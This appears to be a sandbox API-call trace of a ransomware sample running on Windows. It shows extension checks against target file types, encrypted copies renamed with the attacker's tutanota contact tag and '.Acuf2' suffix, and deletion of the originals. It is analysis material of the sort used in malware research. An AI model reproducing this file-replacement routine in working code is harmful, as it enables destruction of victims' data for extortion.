	[0053.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.136] lstrlenW (lpString=".dbf") returned 4
	[0053.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.136] lstrlenW (lpString=".1cd") returned 4
	[0053.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.136] lstrlenW (lpString=".jpg") returned 4
	[0053.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.136] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.137] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.137] GetLastError () returned 0x0
	[0053.137] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x5534, lpOverlapped=0x0) returned 1
	[0053.140] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x5540, lpOverlapped=0x0) returned 1
	[0053.141] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.141] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.141] SetEndOfFile (hFile=0x200) returned 1
	[0053.141] CloseHandle (hObject=0x200) returned 1
	[0053.141] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.141] SetEndOfFile (hFile=0x158) returned 1
	[0053.142] CloseHandle (hObject=0x158) returned 1
	[0053.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.143] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1
	[0053.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.143] lstrlenW (lpString=".doc") returned 4
	[0053.143] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.143] lstrlenW (lpString=".docx") returned 5
	[0053.143] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.143] lstrlenW (lpString=".pdf") returned 4
	[0053.143] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.143] lstrlenW (lpString=".xls") returned 4
	[0053.143] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.143] lstrlenW (lpString=".xlsx") returned 5
	[0053.143] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.143] lstrlenW (lpString=".ppt") returned 4
	[0053.143] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.143] lstrlenW (lpString=".zip") returned 4
	[0053.143] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.143] lstrlenW (lpString=".rar") returned 4
	[0053.143] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.143] lstrlenW (lpString=".bz2") returned 4
	[0053.144] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.144] lstrlenW (lpString=".7z") returned 3
	[0053.144] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.144] lstrlenW (lpString=".dbf") returned 4
	[0053.144] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.144] lstrlenW (lpString=".1cd") returned 4
	[0053.144] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75
	[0053.144] lstrlenW (lpString=".jpg") returned 4
	[0053.144] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.144] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.145] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0053.496] GetLastError () returned 0x0
	[0053.496] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9df, lpOverlapped=0x0) returned 1
	[0053.498] WriteFile (in: hFile=0x204, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9e0, lpOverlapped=0x0) returned 1
	[0053.499] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.499] WriteFile (in: hFile=0x204, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.499] SetEndOfFile (hFile=0x204) returned 1
	[0053.499] CloseHandle (hObject=0x204) returned 1
	[0053.499] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.499] SetEndOfFile (hFile=0x158) returned 1
	[0053.500] CloseHandle (hObject=0x158) returned 1
	[0053.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.501] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1
	[0053.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.501] lstrlenW (lpString=".doc") returned 4
	[0053.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.501] lstrlenW (lpString=".docx") returned 5
	[0053.501] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.501] lstrlenW (lpString=".pdf") returned 4
	[0053.501] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.501] lstrlenW (lpString=".xls") returned 4
	[0053.501] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.501] lstrlenW (lpString=".xlsx") returned 5
	[0053.501] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.501] lstrlenW (lpString=".ppt") returned 4
	[0053.501] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.501] lstrlenW (lpString=".zip") returned 4
	[0053.501] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.501] lstrlenW (lpString=".rar") returned 4
	[0053.501] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.501] lstrlenW (lpString=".bz2") returned 4
	[0053.501] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.501] lstrlenW (lpString=".7z") returned 3
	[0053.501] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.502] lstrlenW (lpString=".dbf") returned 4
	[0053.502] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.502] lstrlenW (lpString=".1cd") returned 4
	[0053.502] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74
	[0053.502] lstrlenW (lpString=".jpg") returned 4
	[0053.502] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.502] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.502] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0053.503] GetLastError () returned 0x0
	[0053.503] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x1e434, lpOverlapped=0x0) returned 1
	[0053.508] WriteFile (in: hFile=0x204, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1e440, lpOverlapped=0x0) returned 1
	[0053.511] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.511] WriteFile (in: hFile=0x204, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.511] SetEndOfFile (hFile=0x204) returned 1
	[0053.511] CloseHandle (hObject=0x204) returned 1
	[0053.511] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.511] SetEndOfFile (hFile=0x158) returned 1
	[0053.513] CloseHandle (hObject=0x158) returned 1
	[0053.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.513] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1
	[0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.514] lstrlenW (lpString=".doc") returned 4
	[0053.514] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString=".docx") returned 5
	[0053.514] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.514] lstrlenW (lpString=".pdf") returned 4
	[0053.514] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString=".xls") returned 4
	[0053.514] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString=".xlsx") returned 5
	[0053.514] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.514] lstrlenW (lpString=".ppt") returned 4
	[0053.514] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.514] lstrlenW (lpString=".zip") returned 4
	[0053.514] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString=".rar") returned 4
	[0053.514] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString=".bz2") returned 4
	[0053.514] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.514] lstrlenW (lpString=".7z") returned 3
	[0053.514] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.514] lstrlenW (lpString=".dbf") returned 4
	[0053.514] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.514] lstrlenW (lpString=".1cd") returned 4
	[0053.514] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70
	[0053.515] lstrlenW (lpString=".jpg") returned 4
	[0053.515] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0053.516] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.516] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0053.516] GetLastError () returned 0x0
	[0053.516] ReadFile (in: hFile=0x204, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x65c96, lpOverlapped=0x0) returned 1
	[0053.525] WriteFile (in: hFile=0x178, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x65ca0, lpOverlapped=0x0) returned 1
	[0053.534] ReadFile (in: hFile=0x204, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.534] WriteFile (in: hFile=0x178, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0053.534] SetEndOfFile (hFile=0x178) returned 1
	[0053.534] CloseHandle (hObject=0x178) returned 1
	[0053.535] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.535] SetEndOfFile (hFile=0x204) returned 1
	[0053.713] CloseHandle (hObject=0x204) returned 1
	[0053.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.713] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1
	[0053.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.713] lstrlenW (lpString=".doc") returned 4
	[0053.713] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0053.713] lstrlenW (lpString=".docx") returned 5
	[0053.713] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1
	[0053.714] lstrlenW (lpString=".pdf") returned 4
	[0053.714] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString=".xls") returned 4
	[0053.714] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString=".xlsx") returned 5
	[0053.714] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1
	[0053.714] lstrlenW (lpString=".ppt") returned 4
	[0053.714] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.714] lstrlenW (lpString=".zip") returned 4
	[0053.714] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString=".rar") returned 4
	[0053.714] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString=".bz2") returned 4
	[0053.714] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0053.714] lstrlenW (lpString=".7z") returned 3
	[0053.714] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.714] lstrlenW (lpString=".dbf") returned 4
	[0053.714] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.714] lstrlenW (lpString=".1cd") returned 4
	[0053.714] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0053.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70
	[0053.714] lstrlenW (lpString=".jpg") returned 4
	[0053.714] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0057.081] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0057.081] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.081] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.081] lstrlenW (lpString=".doc") returned 4
	[0057.081] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1
	[0057.081] lstrlenW (lpString=".docx") returned 5
	[0057.081] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1
	[0057.081] lstrlenW (lpString=".pdf") returned 4
	[0057.081] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1
	[0057.081] lstrlenW (lpString=".xls") returned 4
	[0057.081] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1
	[0057.081] lstrlenW (lpString=".xlsx") returned 5
	[0057.081] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1
	[0057.081] lstrlenW (lpString=".ppt") returned 4
	[0057.081] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1
	[0057.082] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.082] lstrlenW (lpString=".zip") returned 4
	[0057.082] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1
	[0057.082] lstrlenW (lpString=".rar") returned 4
	[0057.082] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1
	[0057.082] lstrlenW (lpString=".bz2") returned 4
	[0057.082] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1
	[0057.082] lstrlenW (lpString=".7z") returned 3
	[0057.082] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1
	[0057.082] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.082] lstrlenW (lpString=".dbf") returned 4
	[0057.082] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1
	[0057.082] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.082] lstrlenW (lpString=".1cd") returned 4
	[0057.082] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1
	[0057.082] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned 83
	[0057.082] lstrlenW (lpString=".jpg") returned 4
	[0057.082] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1
	[0058.895] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.895] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0058.896] GetLastError () returned 0x0
	[0058.896] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x9a5b, lpOverlapped=0x0) returned 1
	[0058.898] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x9a60, lpOverlapped=0x0) returned 1
	[0058.899] ReadFile (in: hFile=0x18c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0058.899] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0058.900] SetEndOfFile (hFile=0x200) returned 1
	[0058.900] CloseHandle (hObject=0x200) returned 1
	[0058.900] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.900] SetEndOfFile (hFile=0x18c) returned 1
	[0058.901] CloseHandle (hObject=0x18c) returned 1
	[0058.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0058.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1
